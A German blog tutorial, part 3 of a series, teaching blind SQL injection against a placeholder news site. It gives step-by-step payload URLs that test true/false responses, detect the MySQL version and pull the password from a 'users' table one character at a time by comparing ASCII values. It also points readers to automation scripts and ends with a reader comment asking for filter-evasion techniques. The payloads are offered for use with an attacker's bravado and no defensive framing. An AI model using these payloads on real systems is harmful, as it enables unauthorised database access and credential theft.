SQL Injection Tutorial Teil 3

Heyho,

heute werde ich euch versuchen zu erklaeren, wie man eine Blind SQL Injection durchfuehrt.

Was ist/Wann/Warum eine Blind SQL Injection?
Nach “Blind SQL Injection” Methode geht man normal dann vor, wenn man keine Ausgabe hat, die MySQL Version 3 ist, oder auf dem Server “UNION” aus welchem Grund auch immer nicht verfuegbar ist. Meistens jedoch wenn keine Ausgabe da ist. Bei einer Blind SQL Injection geht man normal so vor, dass man den Server quasi eine Frage stellt und dieser kann nur JA oder NEIN (True/False) antworten. Eine Blind SQL Injection dauert normal verdammt lange, wenn man das per Hand macht. Scripts helfen auch hierbei wieder. Was man sich auch noch merken kann/sollte: Eine Blind SQL Injection ist normal auch immer dann moeglich, wenn eine normale SQL Injection moeglich ist, umgekehrt jedoch nicht.

Fangen wir auch gleich an… wieder mit and 1 = 0 und and 1 = 1 um zu testen wie/ob der server auf True/False statements reagiert. Wenn ja ist aufjedenfall ne Blind SQL Injection moeglich.

http://www.site.de/news.php?id=5 and 1 = 0

Wichtig: Die ID muss gueltig bleiben, kein minus oder aehnliches davor. Nun sollte unser Inhalt fehlerhaft dargestellt werden bzw etwas fehlen. Dann testen wir ein True Statement:

http://www.site.de/news.php?id=5 and 1 = 1

Nun sollte die Page normal angezeigt werden ohne Fehler. Sollte sich von 1 = 0 und 1 = 1 der Inhalt bzw die Seite sich kaum aendern testet es mit einem hochkomma ‘ hinter der 5. Wenn sich dann nichts aendert ist meistens keine Blind SQL Injection moeglich (gibt auch noch moeglichkeit and ‘1’ = ‘0’ zu verwenden..)

So wir gehen davon aus, dass unsere Page verwundbar ist. Fangen wir nun richtig an 😉

1) MySQL Version herrausfinden

Funktioniert wie bei einer normalen SQL Injection, verwendet wird version() oder @@version.

Nur arbeitet man hier mit SUBSTRING, dass heißt das nur ein Teil von einem String ausgegeben wird. Weiteres dazu → Google 😉

http://www.site.de/news.php?id=5 and SUBSTRING(version(),1,1)=5

/* bzw. – wird normal nicht mehr benoetigt, da es das andere Query nicht groß stoert.

SUBSTRING(version() ← fragt nach der MySQL Version
,1,1 ← ab dem ersten Zeichen mit der Laenge 1
=5 ← fragt ob die MySQL Version mit 5 beginnt

Fraegt quasi:
… id=5 und “der erste Buchstabe der Version() faengt mit 5 an”.

Wenn dort nun die Page richtig angezeigt wird, dann ist es MySQL v5. Wenn nun die Page falsch angezeigt wird, probiert =4
Nun sollte die Page richtig geladen werden, da eins der beiden Statements true ist. Wenn nich probiert =3, hatte ich schon paar mal, jedoch ist das selten.

2) Blind SQL Injection durchfuehren

Da wir per SUBSTRING arbeiten, brauchen wir auch kein UNION.

Es gibt verschiedene Wege herauszufinden, welche Tabellen und columns existieren. Jedoch da eine Blind SQL Injection ist, bringt uns das nicht arg viel, da nur TRUE/FALSE ausgegeben wird. Außer es ist MySQL 5 wegen der DB INFORMATION_SCHEMA. Klar, wenn man das gut kann, kann man auch Befehle wie LIKE usw. anwenden und so schauen was fuer Tabellen existieren, jedoch zeige ich euch einen Weg der stark an MySQL v4 Methode erinnert, und zwar – raten 😉

Ist aehnlich wie ein normales SQL Injections Query nur muessen wir fragen, ob es stimmt, was wir angeben.

Pruefen koennen wir das mithilfe von ASCII. Mehr zu ASCII + Tabelle: http://de.wikipedia.org/wiki/ASCII-Tabelle

Wir gehen nun davon aus, dass wir wissen wie die Tabellen und Spalten sind. Wie man das rausfindet, raten oder eben Scripts verwenden, darkc0de.com hat gute Python Scripts was Blind SQL Injections angeht, bei bedarf lad ichs auch schnell hoch. Vorallem mit MySQL 5 kommt dieses Script super zurecht. So nun wollen wir anfangen, im normallfall geht man immer Buchstabe fuer Buchstabe vor:

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>80

Erklaerung:
and ASCII( ← Nach dem ASCII wert wird gefragt
SUBSTRNG( ← wird wieder Substring angewendet
(SELECT ← wird eine klammer benutzt
SELECT password FROM users ← wird wieder normal nach dem password aus der Tabelle `users`
limit 0,1) ← Wird nach der aller ersten Zeile gefragt + Query geschlossen
,1,1) ← 1 Zeichen, 1 Laenge
)>80 ← Ob die ERSTE stelle des PW einen ASCII wert hat der GrOEßER ist als 80

Wenn nun die Page richtig angezeigt wird, dann ist der ASCII wert groeßer als 80.. weiter testen..

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>90

Nun wird die Page fehlerhaft angezeigt, bzw. der Inhalt ist nicht ganz zu sehen, also ist das Statement falsch. Der ASCII Wert von der ersten Stelle des Pws is also kleiner als 90.. probieren wir 85

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>85

True..

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>86 

False. Also ist der ASCII wert NICHT GrOEßER als 86 sondern = 86. Testen koennt ihr das mit

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))=86

Wenn nun der Inhalt richtig angezeigt wird, ist der ASCII Wert 86.

Also erste Stelle des PW, schauen wir auf unserer ASCII-Tabelle nach..
86 – V
Also beginnt unser PW mit einem großen V

Nun die zweite Stelle des Pws.. ),2,1) Da nach der Zweiten Stelle gefragt wird.. sieht etwa so aus:

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>90

False.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>80

False.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>50

True.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>52

False

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))=52 

True.

Also ist der ASCII wert 52. → 4 laut unserer ASCII Tabelle.

Also sieht unser PW bis jetzt so aus: V4

Nun ),3,1).. usw.. ich denke ihr wisst nun wie 😉

Das macht ihr solange bis

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),XX,1))>1

False ist.

Klar gibt’s fuer so was auch wieder nen Skript (darkc0de.com), welches das alles erleichtert. Aber echte Inject0r machen das per Hand =D

So das war nun mein Tutorial ueber Blind SQL Injections, ich hoffe das man es verstehen konnte, und ja, im vorerst letzten Teil der SQL Injection Tutorial Reihe gehen wir auf Schritte bei einer SQL Injection ein, die man als Anfaenger nicht zu wissen braucht.

Auch werde ich dort nen paar sinnvolle und gute links & Tutorials von anderen Leuten zeigen. 🙂

5 Replies to “SQL Injection Tutorial Teil 3”

  1. Hey, da du dich mit SQLi gut auskennst und deine Tuts gut verständlich sind ist meine Frage, ob du nicht mal nen SQLi-Tut für Fortgeschrittene machen kannst? (Strings, Filter, …)

Leave a Reply

Your email address will not be published.